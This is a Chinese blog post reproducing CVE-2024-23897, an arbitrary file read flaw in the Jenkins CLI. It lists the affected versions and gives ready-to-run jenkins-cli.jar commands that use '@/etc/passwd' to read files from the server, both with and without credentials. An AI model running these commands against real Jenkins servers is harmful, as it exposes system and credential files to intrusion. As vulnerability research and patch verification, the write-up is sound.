Jenkins任意文件读取漏洞(CVE-2024-23897)复现

Jenkins 有一个内置的命令行界面CLI,在处理 CLI 命令时Jenkins 使用args4j 库解析 Jenkins 控制器上的命令参数和选项。此命令解析器具有一个功能,可以将@参数中后跟文件路径的字符替换为文件内容 ( expandAtFiles)。具有Overall/Read权限的攻击者可以读取整个文件,未授权的攻击者仅能读取文件前几行内容。

1.漏洞级别

高危

2.影响范围

复制代码
Jenkins <= 2.441
Jenkins <= LTS 2.426.2

3.漏洞复现

3.1 cli执行命令

漏洞利用需求执行cli命令,我们可以从官网下载jenkins-cli.jar,我也会在附件资源上放一份,有需要的可以自行下载。

执行

复制代码
java -jar jenkins-cli.jar -s url -http help @/etc/passwd  #http请求
java -jar jenkins-cli.jar -s url -webSocket help @/etc/passwd  #websocket请求
java -jar jenkins-cli.jar -s url  help @/etc/passwd  #默认方式

同样的,不只有help命令能进行操作,以下这些命令也可以

复制代码
help
who-am-i
keep-build
restart
shutdown
safe-shutdown
disable-job
enable-job

如果jenkins没有配置匿名用户可读权限,在未授权的情况下只能获得文件前几行。
如果想获取全部的文件内容,则需要overall/read权限

执行

复制代码
java -jar jenkins-cli.jar -s url -http help @/etc/passwd  -auth user:password

3.2 利用进阶

如果Jenkins开启了"匿名用户可读"选项,connect-node命令和reload-job命令可以用来读取文件全部内容:

执行

复制代码
java -jar jenkins-cli.jar -s url -http reload-job @/etc/passwd
相关推荐
观测云9 小时前
Jenkins 可观测最佳实践
jenkins
小楓12019 小时前
Web漏洞挖掘篇(二)—信息收集
web安全·网络安全·漏洞挖掘
一念一花一世界10 小时前
DevOps实战(2) - 使用Arbess+GitPuk+Docker实现Java项目自动化部署
jenkins·tiklab·arbess·开源cicd工具·docker构建部署
久绊A18 小时前
如何在Kali Linux官网下载历史版本
安全·web安全
李白你好19 小时前
功能强大的多线程端口扫描工具,支持批量 IP 扫描、多种端口格式输入、扫描结果美化导出,适用于网络安全检测与端口监控场景
web安全
切糕师学AI20 小时前
持续集成和持续交付 (CI/CD) 工具——Jenkins
运维·ci/cd·jenkins
会飞的小蛮猪21 小时前
Jenkins运维之路(自动获得分支tag&自动构建)
运维·经验分享·ci/cd·jenkins
Britz_Kevin1 天前
从零开始的云计算生活——第五十九天,基于Jenkins自动打包并部署Tomcat环境
运维·jenkins·生活
筑梦之月1 天前
3分钟解决ZAP打开浏览器闪退问题
web安全
m0_738120721 天前
CTFshow系列——PHP特性Web93-96
开发语言·安全·web安全·php·ctfshow